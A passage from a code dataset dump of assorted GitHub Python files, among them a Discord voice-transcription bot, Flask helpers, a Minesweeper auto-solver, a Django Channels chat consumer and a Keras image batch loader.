'test/test_image'\ntest_image_data_folder.mkdir(parents=True, exist_ok=True)\n\nclass_indices = {'bed': 0, 'bird': 1, 'cat': 2, 'dog': 3, 'down': 4,\n 'eight': 5, 'five': 6, 'four': 7, 'go': 8, 'happy': 9,\n 'house': 10, 'left': 11, 'marvin': 12, 'nine': 13, 'no': 14,\n 'off': 15, 'on': 16, 'one': 17, 'right': 18, 'seven': 19,\n 'sheila': 20, 'silence': 21, 'six': 22, 'stop': 23, 'three': 24,\n 'tree': 25, 'two': 26, 'up': 27, 'wow': 28, 'yes': 29, 'zero': 30}\n\npreprocess_size = (128, 72)\nimage_size = (128, 63, 1)\n","repo_name":"PhilipXue/TF-CRNN-kaggle-voice-competition","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"4282120782","text":"import io\nimport json\nimport typing\n\nimport discord\nfrom discord.ext import commands\nimport pydub\nimport speech_recognition as sr\nimport deepl\nimport textwrap\n\n\nclass Transcriber(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.config = self.load_config()\n\n def load_config(self):\n with open(\"config/config.json\") as conf_file:\n return json.load(conf_file)\n\n # transcribe / translate command\n @commands.command(aliases=[\"t\", \"translate\", \"tr\", \"trans\"])\n async def transcribe(\n self, ctx, *, translate_to=None\n ): # takes an optional argument, translate_to, which is the language code to translate the transcribed text to.\n # check if translate_to was passed\n if translate_to is not None:\n translate_to = translate_to.upper()\n language_codes = self.config[\"language_codes\"]\n if translate_to not in language_codes:\n valid_codes = \", \".join([f\"`{code}`\" for code in language_codes])\n await ctx.reply(\n f\"**Invalid language code.**\\n> Valid language codes: {valid_codes}\"\n )\n return\n\n # check if there is a replied message\n replied_message = None\n if ctx.message.reference:\n replied_message = await ctx.channel.fetch_message(\n ctx.message.reference.message_id\n )\n\n # if there was no reply attached or if the replied message does not have an attachment, find the most recent message that fits the criteria.\n if not msg_has_voice_note(replied_message):\n async for message in ctx.channel.history(limit=None, oldest_first=False):\n if message.author != ctx.bot.user and msg_has_voice_note(message):\n replied_message = message\n break\n\n if not replied_message:\n await ctx.reply(\n \"You did not reply to a voice message so the bot attempted to find the most recent voice message in the channel. However, no voice message was found.\"\n )\n return\n\n author = replied_message.author\n\n response = await ctx.reply(f\"Transcribing the Voice Message from {author}...\")\n try:\n transcribed_text = await transcribe_msg(replied_message)\n await response.delete()\n\n except sr.UnknownValueError as e:\n await response.edit(\n content=f\"Could not transcribe the Voice Message from {author} as the response was empty.\"\n )\n return\n\n except Exception as e:\n await response.edit(\n content=f\"Could not transcribe the Voice Message from {author} due to an error.\"\n )\n print(e)\n return\n\n translated_text = None\n # check if translate_to was passed\n if (\n translate_to is not None\n and transcribed_text\n and translate_to in self.config[\"language_codes\"]\n ):\n # translate the text\n deepl_translator = deepl.Translator(auth_key=self.config[\"deepl_api_key\"])\n translated_text = deepl_translator.translate_text(\n transcribed_text, target_lang=translate_to\n )\n\n embed = make_embed(\n transcribed_text, author, ctx.author, translate_to, translated_text\n )\n\n embed_message = await replied_message.reply(embed=embed, mention_author=False)\n\n @commands.Cog.listener(\"on_message\")\n async def auto_transcribe(self, msg: discord.Message):\n if not msg_has_voice_note(msg):\n return\n\n await msg.add_reaction(\"\\N{HOURGLASS}\")\n try:\n transcribed_text = await transcribe_msg(msg)\n embed = make_embed(transcribed_text, msg.author)\n await msg.reply(embed=embed)\n\n except sr.UnknownValueError as e:\n await msg.reply(\n content=f\"Could not transcribe the Voice Message from {msg.author} as the response was empty.\"\n )\n except Exception as e:\n await msg.edit(\n content=f\"Could not transcribe the Voice Message from {msg.author} due to an error.\"\n )\n print(e)\n await msg.remove_reaction(\"\\N{HOURGLASS}\", self.bot.user)\n\n\ndef make_embed(\n transcribed_text, author, ctx_author=None, translate_to=None, translated_text=None\n):\n embed = discord.Embed(\n color=discord.Color.og_blurple(),\n title=f\"🔊 {author.name}'s Voice Message\",\n )\n embed.add_field(\n name=f\"Transcription\",\n value=textwrap.dedent(\n f\"\"\"\n ```\n {transcribed_text}\n ```\n [vmt bot](https://github.com/dromzeh/vmt) by [@strazto](https://instagram.com/strazto) & [@dromzeh](https://github.com/dromzeh)\n \"\"\"\n ),\n inline=False,\n )\n\n if translate_to and translated_text:\n embed.add_field(\n name=f\"Translation (Into {translate_to.upper()})\",\n value=f\"```{translated_text}```\",\n inline=False,\n )\n\n if ctx_author:\n embed.set_footer(text=f\"Transcribe requested by {ctx_author}\")\n\n return embed\n\n\ndef msg_has_voice_note(msg: typing.Optional[discord.Message]) -> bool:\n if not msg:\n return False\n if not msg.attachments or not msg.flags.value >> 13:\n return False\n return True\n\n\nasync def transcribe_msg(\n msg: typing.Optional[discord.Message],\n) -> typing.Optional[typing.Union[typing.Any, list, tuple]]:\n if not msg or not msg_has_voice_note(msg):\n return None\n\n voice_msg_bytes = await msg.attachments[0].read() # read the voice message as bytes\n voice_msg = io.BytesIO(voice_msg_bytes)\n\n # convert the voice message to a .wav file\n audio_segment = pydub.AudioSegment.from_file(voice_msg)\n wav_bytes = io.BytesIO()\n audio_segment.export(wav_bytes, format=\"wav\")\n\n # transcribe the audio using Google Speech Recognition API\n recognizer = sr.Recognizer()\n with sr.AudioFile(wav_bytes) as source:\n audio_data = recognizer.record(source)\n\n try:\n transcribed_text = recognizer.recognize_google(audio_data)\n\n except sr.UnknownValueError as e:\n raise e\n\n except Exception as e:\n raise e\n\n return transcribed_text\n\n\nasync def setup(bot):\n await bot.add_cog(Transcriber(bot))\n","repo_name":"dromzeh/vmt","sub_path":"src/cogs/transcribe.py","file_name":"transcribe.py","file_ext":"py","file_size_in_byte":6429,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"43516674482","text":"# BOJ 알고리즘 캠프에는 총 N명이 참가하고 있다. 사람들은 0번부터 N-1번으로 번호가 매겨져 있고, 일부 사람들은 친구이다.\r\n#\r\n# 오늘은 다음과 같은 친구 관계를 가진 사람 A, B, C, D, E가 존재하는지 구해보려고 한다.\r\n#\r\n# A는 B와 친구다.\r\n# B는 C와 친구다.\r\n# C는 D와 친구다.\r\n# D는 E와 친구다.\r\n# 위와 같은 친구 관계가 존재하는지 안하는지 구하는 프로그램을 작성하시오.\r\n\r\nfrom collections import deque\r\nimport sys\r\ninput = sys.stdin.readline\r\nsys.setrecursionlimit(10**6)\r\n\r\nN, M = map(int, input().strip().split())\r\ncamp = [[] for _ in range(N)]\r\nvisited = [False] * N\r\nflag = False\r\nfor _ in range(M):\r\n a, b = map(int, input().strip().split())\r\n camp[a].append(b)\r\n camp[b].append(a)\r\n\r\ndef DFS(v, depth):\r\n global flag\r\n visited[v] = True\r\n if depth == 5:\r\n flag = True\r\n return\r\n for i in camp[v]:\r\n if not visited[i]:\r\n visited[i] = True\r\n DFS(i, depth + 1)\r\n visited[i] = False\r\n\r\nfor i in range(N):\r\n DFS(i, 1)\r\n visited[i] = False\r\n if flag:\r\n break\r\n\r\nif flag:\r\n print(1)\r\nelse:\r\n print(0)","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"10000~/13023.py","file_name":"13023.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11410582977","text":"import sqlite3\n\nmiconexion=sqlite3.connect(\"Jugadores\")\n\nmicursor=miconexion.cursor()\n#Clausula \"UNIQUE\" para que no se pueda repetir info, en este caso el nombre del jugador\n\n\n\"\"\"Con esto leemos información:\n micursor.execute(\"SELECT * FROM Jugadores WHERE Nacionalidad='ARGENTINA'\")\n\n players=micursor.fetchall()\n print(players)\"\"\"\n\n\n#Con esto actualizamos información:\n # micursor.execute(\"UPDATE Jugadores SET Nacionalidad='BÉLGICA' WHERE Jugador='Kevin De Bruyne'\")\n\n\n#Con esto borramos algún registro\nmicursor.execute(\"DELETE FROM Jugadores WHERE Jugador='Kevin De Bruyne'\")\n\nmiconexion.commit()\n\nmiconexion.close()","repo_name":"juanibutter/Curso_2","sub_path":"#48 - BBDD VI.py","file_name":"#48 - BBDD VI.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23275492471","text":"import json\nimport hashlib\n\nfrom instafarm import app\nfrom instafarm.models import model\nfrom flask_mail import Message, Mail\nfrom flask import Response, redirect, request, session\n\nmail = Mail(app)\n\ndef send_mail(title, recipients, html='', text='', sender=None):\n \n if recipients is None:\n return True\n if not isinstance(recipients, list) and not isinstance(recipients, tuple):\n recipients = [recipients]\n msg = Message(subject=title, recipients=recipients)\n if sender is not None:\n msg.sender = sender\n msg.html = html\n msg.body = text\n # mail.send(msg)\n try:\n with mail.connect() as conn:\n conn.send(msg)\n return True\n except Exception as e:\n print(e)\n return False\n \n \ndef json_response(obj, status=200):\n return Response(\n json.dumps(obj),\n status=status,\n mimetype='application/json')\n\ndef get_request(key, default_value=None):\n if key is None or key == '':\n return default_value\n value = request.values.get(key)\n if value is None and request.is_json:\n json_values = request.get_json()\n if json_values is not None and key in json_values:\n value = json_values[key]\n if value is None:\n value = default_value\n return value \n\ndef base_sign_in(user):\n if user is None:\n if 'me' in session:\n session.pop('me')\n else:\n session['me'] = user.to_dict()\n\n\ndef base_sign_out():\n if 'me' in session:\n session.pop('me')\n\n\ndef base_get_me():\n if 'me' in session and session['me'] is not None:\n return models.User.find_one_by_id(session['me']['id'])\n return None\n\n# def is_admin(user):\n# if user is None:\n# return False\n# if isinstance(user, models.User):\n# return user.role == '0'\n\ndef get_request_dict():\n form_data = {}\n if request.is_json:\n form_data = request.get_json()\n elif request.form is not None:\n for key, value in request.form.items():\n if key.endswith('[]'):\n key = key[0:len(key) - 2]\n if key not in form_data:\n form_data[key] = []\n elif not isinstance(form_data[key], list):\n form_data[key] = [form_data[key]]\n form_data[key].append(value)\n else:\n if key not in form_data:\n form_data[key] = value\n else:\n if not isinstance(form_data[key], list):\n form_data[key] = [form_data[key]]\n form_data[key].append(form_data[key])\n query_data = {}\n if request.args is not None:\n for key, value in request.args.items():\n if key.endswith('[]'):\n key = key[0:len(key) - 2]\n if key not in query_data:\n query_data[key] = []\n elif not isinstance(query_data[key], list):\n query_data[key] = [query_data[key]]\n query_data[key].append(value)\n else:\n if key not in query_data:\n query_data[key] = value\n else:\n if not isinstance(query_data[key], list):\n query_data[key] = [query_data[key]]\n query_data[key].append(query_data[key])\n result = dict()\n result.update(form_data)\n result.update(query_data)\n return result\n\ndef require_login(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n me = base_get_me()\n if me is None:\n return json_response({\n \"success\": False,\n \"message\": models.ErrorCodes.require_login\n })\n return f(*args, **kwargs)\n return decorated_function \n\ndef allow_extention(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENTIONS']\n","repo_name":"tndev1219/growerstoyou_backend_flask","sub_path":"instafarm/viewset/base/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31574782772","text":"import re\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\nclass ResData:\n pass\n\nclass HtmlParser(object):\n\n def parse(self,page_url,html_cont):\n if page_url is None or html_cont is None:\n return\n\n soup = BeautifulSoup(html_cont,'html.parser', from_encoding='utf-8')\n new_urls = self._get_new_urls(page_url, soup)\n new_data = self._get_new_data(page_url, soup)\n return new_urls, new_data\n\n def _get_new_urls(self, page_url, soup):\n new_urls = set()\n\n links = soup.find_all('a', href=re.compile(r\"^\\?\\S*\"))\n for link in links:\n new_url = link['href']\n new_full_url = urllib.parse.urljoin(page_url, new_url)\n new_urls.add(new_full_url)\n return new_urls\n\n def _get_new_data(self, page_url, soup):\n res_data = ResData()\n res_data.titles = set()\n\n # url\n res_data.url = page_url\n \n pattern = re.compile(r'^[\\u4e00-\\u9fa5]{0,}$')\n\n title_nodes = soup.find_all('span', class_=\"title\")\n for title_node in title_nodes:\n value = title_node.get_text()\n\n if pattern.match(value):\n res_data.titles.add(value)\n\n return res_data","repo_name":"MaxNie87/Simple-Spider","sub_path":"html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"10907052635","text":"# coding:utf-8\nfrom appium import webdriver\nimport yaml,os\n\ndef basedriver():\n yp = os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..','config','desired_caps.yml')) #yaml文件路径\n with open(yp,'r',encoding='utf-8') as file:\n data = yaml.load(file) # 读取配置文件数据\n\n ap = os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..','app'))\n app_path = lambda x: os.path.join(ap,x) # 安装包路径\n desired_caps = {}\n desired_caps['platformName'] = data['platformName']\n desired_caps['platformVersion'] = data['platformVersion']\n desired_caps['deviceName'] = data['deviceName']\n desired_caps['app'] = app_path(data['app'])\n desired_caps['appPackage'] = data['appPackage']\n desired_caps['appActivity'] = data['appActivity']\n desired_caps['noReset'] = data['noReset']\n desired_caps['unicodeKeyboard'] = data['unicodeKeyboard']\n desired_caps['resetKeyboard'] = data['resetKeyboard']\n desired_caps['automationName'] = data['automationName']\n # print(desired_caps)\n driver = webdriver.Remote('http://' + str(data['ip']) + ':' + str(data['port']) + '/wd/hub', desired_caps)\n return driver\n\n# if __name__ == '__main__':\n# basedriver()","repo_name":"SIMZZQ/dfappiumtest","sub_path":"common/deired_caps.py","file_name":"deired_caps.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39185868690","text":"import win32gui as wgui \nimport random\nimport math\n\n\nfrom pynput.mouse import Button, Controller\nmouse = Controller()\n\n\nclass win:\n def __init__(self, hwnd):\n self.hwnd = hwnd\n self.gridSize = type('', (), dict(w=0, h=0))()\n self.gameOver = 0\n\n tup = wgui.GetWindowPlacement(self.hwnd)\n # PyHandle(dc), used for some wgui methods\n self.dc = wgui.GetWindowDC(self.hwnd)\n\n # get top left cell position,\n # each cell position is calculated from this base\n self.x = tup[4][0]\n self.y = tup[4][1]\n self.w = tup[4][2]-tup[4][0]\n self.h = tup[4][3]-tup[4][1]\n # top left position is static to window position\n self.topLeft = [self.x+23, self.y+108]\n\n # old minesweeper has 3 are static window sizes\n if (self.w == 506) and (self.h == 368): # expert\n self.gridSize.w = 30\n self.gridSize.h = 16\n if (self.w == 282) and (self.h == 368): # intermediate\n self.gridSize.w = 16\n self.gridSize.h = 16\n if (self.w == 170) and (self.h == 256): # easy\n self.gridSize.w = 9\n self.gridSize.h = 9\n # creating gridData map\n gridData = []\n # for i in range(self.gridSize.h):\n i = 0\n while i < self.gridSize.w:\n i += 1\n column = []\n # for i in range(self.gridSize.w):\n ci = 0\n while ci < self.gridSize.h:\n ci += 1\n column.append(\"x\") # innitial value \"x\" for unknown\n\n gridData.append(column)\n\n self.gridData = gridData\n\n def getRandom(self):\n \"\"\"\n returns random empty cell\n \"\"\"\n array = []\n xi = 0\n while (xi < self.gridSize.w):\n yi = 0\n while (yi < self.gridSize.h):\n if (self.gridData[xi][yi] == \"x\"):\n array.append([xi, yi])\n yi += 1\n xi += 1\n return array[random.randint(0, len(array)-1)]\n\n def getNeighbour(self, x, y, target):\n \"\"\"\n returns array of cells of target value[4th param]\n around target cell[x,y]\n maximum len(array)=8\n \"\"\"\n AoO = getAreaAoO(x, y, 1, self.gridSize.w, self.gridSize.h)\n\n array = []\n for i in range(len(AoO)):\n if (AoO[i].x == x) and (AoO[i].y == y):\n continue\n if (self.gridData[AoO[i].x][AoO[i].y] == target):\n array.append([AoO[i].x, AoO[i].y])\n return array\n\n def checkWin(self, lastScan=0):\n # check for win\n xi = 0\n while (xi < self.gridSize.w):\n yi = 0\n while (yi < self.gridSize.h):\n if (self.gridData[xi][yi] == \"x\"):\n return 0\n yi += 1\n xi += 1\n # last large actual scan in case a cell was not marked via area scan\n # affects solve speed only in case of an error\n if (lastScan == 0):\n win.scanArea(self,\n self.gridSize.w/2,\n self.gridSize.h/2,\n self.gridSize.w/2)\n win.checkWin(self, 1)\n\n return 1\n\n def restartGame(self):\n mouse.position = (self.x+self.w/2, self.y+70) # smiley position\n mouse.press(Button.left)\n mouse.release(Button.left)\n\n def click(self, x, y, m=0):\n mouse.position = (self.topLeft[0]+x*16, self.topLeft[1]+y*16)\n if (m == 0):\n mouse.press(Button.left)\n mouse.release(Button.left)\n # use mark mines for visibility, error checking\n # (turn on play function line 45)\n else:\n mouse.press(Button.right)\n mouse.release(Button.right)\n\n def scanArea(self, x, y, size):\n \"\"\"\n updates gridData in given area\n submit x,y = position of center square\n size = number of cells from center cell to edge\n \"\"\"\n areaScope = getAreaScope(x, y, size)\n # looping through scan area and updating gridData\n i = 0\n cy = math.floor(areaScope.tlY)\n while (i < areaScope.areaSize):\n ci = -1\n cx = math.floor(areaScope.tlX-1)\n while (ci < areaScope.areaSize):\n ci += 1\n cx += 1\n if (cx < 0) or \\\n (cy < 0) or \\\n (cx > self.gridSize.w-1) or (cy > self.gridSize.h-1):\n continue\n # position has number already assigned\n if isinstance(self.gridData[cx][cy], int):\n continue\n if (self.gridData[cx][cy] == \"m\"): # mine assigned to position\n continue\n # scan position by getpixel method\n v = win.getSquare(self, cx, cy)\n if (v == -2): # out of grid\n continue\n if (v == \"x\"): # innitial unknown value\n continue\n if (v == -1): # mine detected\n self.gameOver = 1\n return self\n self.gridData[cx][cy] = v\n cy += 1\n i += 1\n\n return self\n\n def getSquare(self, x, y):\n\n \"\"\"\n submit: x & y of target cell\n returns:\n -1 -> mine found -> game over\n -2 -> submit out of range\n 0 -> position solved - empty, grey cell\n x -> position unknown, innitial position\n num 1-8 -> number found on position\n \"\"\"\n\n if (x < 0) or (y < 0) or \\\n (x > self.gridSize.w-1) or (y > self.gridSize.h-1):\n return -2\n # 16 is base distance in pixels between cells\n convX = self.topLeft[0]+x*16-self.x\n convY = self.topLeft[1]+y*16-self.y\n color = wgui.GetPixel(self.dc, convX, convY)\n\n if (color == 0):\n return -1\n # middle pixel of \"12632256\" can be \"solved\", \"not solved\" or \"7\"\n if (color == 12632256):\n # white border indicates not solved\n if (wgui.GetPixel(self.dc, convX-7, convY) == 16777215):\n return \"x\"\n if (wgui.GetPixel(self.dc, convX+1, convY) == 0): # 7 is black\n return 7\n return 0\n\n if (color == 16711680):\n return 1\n if (color == 32768):\n return 2\n if (color == 255):\n return 3\n if (color == 8388608):\n return 4\n if (color == 128):\n return 5\n if (color == 8421376):\n return 6\n if (color == 8421504):\n return 8\n\n\ndef getAreaScope(x, y, size):\n \"\"\"\n submit x and y position of center of return area\n size = number of cells from center to edge (size*2+1)\n e.g. size 2 would be 5x5 (areaSize=5)\n returns object with top left cell x and y pos (tlX,tlY) and areaSize\n \"\"\"\n return type('', (), dict(tlX=x-size, tlY=y-size, areaSize=size*2+1))()\n\n\ndef getAreaAoO(x, y, size, gridW, gridH):\n \"\"\"\n similar to getAreaScope, but returns array of objects of cell coordinates\n \"\"\"\n areaScope = getAreaScope(x, y, size)\n # looping through scan area and updating gridData\n bx = math.floor(areaScope.tlX)\n by = math.floor(areaScope.tlY)\n bsize = math.floor(areaScope.areaSize)\n rArray = []\n cy = by\n while (cy < by+bsize):\n cx = bx\n while (cx < bx+bsize):\n if (cx < 0) or (cy < 0) or (cx > gridW-1) or (cy > gridH-1):\n cx += 1\n continue\n rArray.append(type('', (), dict(x=cx, y=cy))())\n cx += 1\n cy += 1\n return rArray\n","repo_name":"WANI0N/Minesweeper","sub_path":"win_class.py","file_name":"win_class.py","file_ext":"py","file_size_in_byte":7732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2278614166","text":"import json\n\nfrom asgiref.sync import async_to_sync\nfrom channels.generic.websocket import WebsocketConsumer\n\nfrom base.repositories.message_repository import MessageRepository\nfrom bot.services import BotService\nfrom chatrooms.models import User, Chatroom\n\n\nclass ChatroomConsumer(WebsocketConsumer):\n\n\tdef connect(self):\n\t\tself.room_name = self.scope['url_route']['kwargs']['room_name']\n\t\tself.room_group_name = 'chat_%s' % self.room_name\n\t\tself.message_repository = MessageRepository()\n\t\tself.bot = BotService()\n\t\t# Join room group\n\t\tasync_to_sync(self.channel_layer.group_add)(\n\t\t\tself.room_group_name,\n\t\t\tself.channel_name\n\t\t)\n\t\tself.accept()\n\n\tdef disconnect(self, close_code):\n\t\t# Leave room group\n\t\tasync_to_sync(self.channel_layer.group_discard)(\n\t\t\tself.room_group_name,\n\t\t\tself.channel_name\n\t\t)\n\n\tdef receive(self, text_data):\n\t\tdata = json.loads(text_data)\n\t\tself.COMMANDS[data['command']](self, data)\n\n\tdef create_message(self, message_obj):\n\t\t# Retrieve the user\n\t\tuser = User.objects.filter(username=message_obj['from']).first()\n\t\t# Retrieve the room\n\t\troom = Chatroom.objects.filter(name=self.room_name).first()\n\t\t# Validate if coe is present in message\n\t\tif '/' in message_obj['message']:\n\t\t\tmessage = self.message_repository.create_message(room, user, message_obj['message'], False)\n\t\t\tcontent = {\n\t\t\t\t'command': 'create',\n\t\t\t\t'type': 'build_message',\n\t\t\t\t'message': message\n\t\t\t}\n\t\t\tself.send_message(content)\n\t\t\tcommand, code = self.get_command_code(message_obj['message'])\n\t\t\tbot_response = self.bot.bot_response(room, command, code)\n\t\t\tbot_content = {\n\t\t\t\t'command': 'create',\n\t\t\t\t'type': 'build_message',\n\t\t\t\t'message': bot_response\n\t\t\t}\n\t\t\tself.send_message(bot_content)\n\t\telse:\n\t\t\tmessage = self.message_repository.create_message(room, user, message_obj['message'])\n\t\t\tcontent = {\n\t\t\t\t'command': 'create',\n\t\t\t\t'type': 'build_message',\n\t\t\t\t'message': message\n\t\t\t}\n\t\t\tself.send_message(content)\n\n\tdef message_list(self, message_obj):\n\t\tmessages = self.message_repository.get_last_messages_for_room(self.room_name)\n\t\tmessages.reverse()\n\t\tcontent = {\n\t\t\t'command': 'list',\n\t\t\t'type': 'build_message',\n\t\t\t'message': messages\n\t\t}\n\t\tself.send(text_data=json.dumps(content))\n\n\t# CONSTANTS\n\tCOMMANDS = {\n\t\t'create': create_message,\n\t\t'list': message_list\n\t}\n\n\tdef get_command_code(self, data):\n\t\tinitial = data.find('/') + 1\n\t\tdata = data[initial:]\n\t\tdata_splited = data.split('=')\n\t\tif len(data_splited) > 1:\n\t\t\treturn data_splited[0].strip(), data_splited[1].strip()\n\t\treturn data_splited[0].strip(), ''\n\n\tdef send_message(self, message):\n\t\t# Send message to room group\n\t\tasync_to_sync(self.channel_layer.group_send)(\n\t\t\tself.room_group_name,\n\t\t\t{\n\t\t\t\t'type': 'build_message',\n\t\t\t\t'command': 'create',\n\t\t\t\t'message': message\n\t\t\t}\n\t\t)\n\n\tdef build_message(self, event):\n\t\tmessage = event['message']\n\t\t# Send message to WebSocket\n\t\tself.send(text_data=json.dumps(message))\n","repo_name":"edwardfc24/python-challenge","sub_path":"chat/chatrooms/ws_consurmers.py","file_name":"ws_consurmers.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7932055211","text":"from lib.interface import *\r\n\r\n\r\ndef arquivoExiste(nome):\r\n # Verifica se o arquivo .txt existe\r\n try:\r\n # Ler o arquivo\r\n a = open(nome, 'rt')\r\n a.close()\r\n except FileNotFoundError:\r\n # Se não achar, retorna que não\r\n return False\r\n else:\r\n # Se achar, retorna que sim\r\n return True\r\n\r\n\r\ndef criarArquivo(nome):\r\n # Cria o arquivo .txt para os cadastros\r\n try:\r\n # Tenta criar o arquivo\r\n a = open(nome, 'wt+')\r\n a.close()\r\n except:\r\n # Caso dê algum erro ao criar, mostra:\r\n print(f'{cores[1]}Houve um ERRO na criação do arquivo!{cores[0]}')\r\n else:\r\n # Caso dê certo, mostra:\r\n print(f'{cores[2]}Arquivo criado com sucesso!{cores[0]}')\r\n\r\n\r\ndef cadastrar(arq, nome='desconhecido', idade=0):\r\n # Cadastro de pessoas\r\n titulo('NOVO CADASTRO')\r\n try:\r\n # Abre o arquivo\r\n a = open(arq,'at')\r\n except:\r\n # Se não abrir, mostra:\r\n print(f'{cores[1]}ERRO! Não foi possível abrir o arquivo!{cores[0]}')\r\n else:\r\n # Se abrir:\r\n try:\r\n # Tenta cadastrar no arquivo\r\n a.write(f'{nome};{idade}\\n')\r\n except:\r\n # Se der algum problema ao escrever, mostra:\r\n print(f'{cores[1]}ERRO! Houve algum problema na escrita dos dados!{cores[0]}')\r\n else:\r\n # Se der certo, mostra:\r\n print(f'{cores[2]}Novo cadastro foi criado com sucesso!{cores[0]}')\r\n a.close()\r\n\r\n\r\ndef listar(nome):\r\n # Mostrar todas as pessoas cadastradas\r\n titulo('PESSOAS CADASTRADAS')\r\n try:\r\n # Abre e lê o arquivo\r\n a = open(nome, 'rt')\r\n except:\r\n # Se não conseguir ler, mostra:\r\n print(f'{cores[1]}ERRO! Ao ler o arquivo!{cores[0]}')\r\n else:\r\n # Se conseguir\r\n for linha in a:\r\n # Pega cada linha do arquivo\r\n dado = linha.split(';') # Separa o nome da idade\r\n dado[1] = dado[1].replace('\\n', '') # Subistitui a quebra de linha para não ficar espaçado\r\n print(f'{dado[0]:<30} {dado[1]:>3} anos') # Escreve no terminal\r\n finally:\r\n # Por fim, fecha o arquivo\r\n a.close()\r\n","repo_name":"BrenoTNK/cev-python","sub_path":"aula23 - tratamentoerros/desafio115/lib/arquivo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22334543927","text":"# -*- coding:ascii -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\nSTOP_RENDERING = runtime.STOP_RENDERING\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1582799132.1913815\n_enable_loop = True\n_template_filename = 'C:/Development/vsy_pax-counter/client_app/templates/index.html'\n_template_uri = 'index.html'\n_source_encoding = 'ascii'\n_exports = []\n\n\ndef render_body(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n __M_writer = context.writer()\n __M_writer('\\r\\n\\r\\n\\r\\n \\r\\n \\r\\n \\r\\n Document\\r\\n\\r\\n \\r\\n \\r\\n \\r\\n\\r\\n\\r\\n
\\r\\n\\r\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"filename\": \"C:/Development/vsy_pax-counter/client_app/templates/index.html\", \"uri\": \"index.html\", \"source_encoding\": \"ascii\", \"line_map\": {\"16\": 0, \"21\": 2, \"27\": 21}}\n__M_END_METADATA\n\"\"\"\n","repo_name":"itshoro/basho","sub_path":"client_app/templates/index.html.py","file_name":"index.html.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17220014646","text":"from keras.preprocessing.image import img_to_array\nfrom sklearn.preprocessing import LabelEncoder\nfrom keras.utils import to_categorical\nfrom imutils import paths\nimport numpy as np\nimport random\nimport os\nimport sys\nsys.path.append(\"..\")\nimport cv2\n\nclass_number = 2;\n\ndef cv_imread(file_path):\n path = file_path.replace('\\ ',' ')\n cv_image = cv2.imdecode(np.fromfile(path , dtype = np.uint8) , -1)\n return cv_image\n\ndef split_file(path):\n imagepaths = sorted(list(paths.list_images(path)))\n random.seed(42)\n random.shuffle(imagepaths)\n random.seed(82)\n random.shuffle(imagepaths)\n random.seed(53)\n random.shuffle(imagepaths)\n random.seed(73)\n random.shuffle(imagepaths)\n file_number = len(imagepaths)\n rate = int(file_number * 0.75)\n train_data = imagepaths[0:rate]\n verification_data = imagepaths[rate:file_number]\n return train_data,verification_data\n\ndef batch_test_data(train_data,batch_size):\n while 1:\n cnt = 0\n data = []\n labels = []\n list_label = []\n for imagepath in train_data:\n image = cv_imread(imagepath)\n image = cv2.resize(image,(600,450))\n image = img_to_array(image)\n image = image/255\n data.append(image)\n\n label = imagepath.split(os.path.sep)[1]\n labels.append(label)\n cnt += 1\n if cnt==batch_size:\n cnt = 0\n data = np.array(data)\n labels = np.array(labels)\n for each_label in labels:\n if each_label != '正常':\n list_label.append(1)\n else:\n list_label.append(0)\n\n #labels_inter = LabelEncoder().fit_transform(labels)\n\n labels = to_categorical(list_label, num_classes=class_number)\n yield (data, labels)\n data = []\n labels = []\n list_label= []\n\n\ndef batch_train_data(train_data,batch_size):\n while 1:\n cnt = 0\n data = []\n labels = []\n list_label = []\n for imagepath in train_data:\n image = cv_imread(imagepath)\n image = cv2.resize(image,(600,450))\n image = img_to_array(image)\n image = image / 255\n data.append(image)\n\n label = imagepath.split(os.path.sep)[1]\n labels.append(label)\n cnt += 1\n if cnt==batch_size:\n cnt = 0\n data = np.array(data)\n labels = np.array(labels)\n for each_label in labels:\n if each_label != '正常':\n list_label.append(1)\n else:\n list_label.append(0)\n\n #labels_inter = LabelEncoder().fit_transform(labels)\n\n labels = to_categorical(list_label, num_classes=class_number)\n yield (data, labels)\n data = []\n labels = []\n list_label= []\n\ndef batch_verification_file(verification_data):\n while 1:\n data = []\n labels = []\n list_label = []\n for imagepath in verification_data:\n image = cv_imread(imagepath)\n image = img_to_array(image)\n\n image_arr = np.array(image, 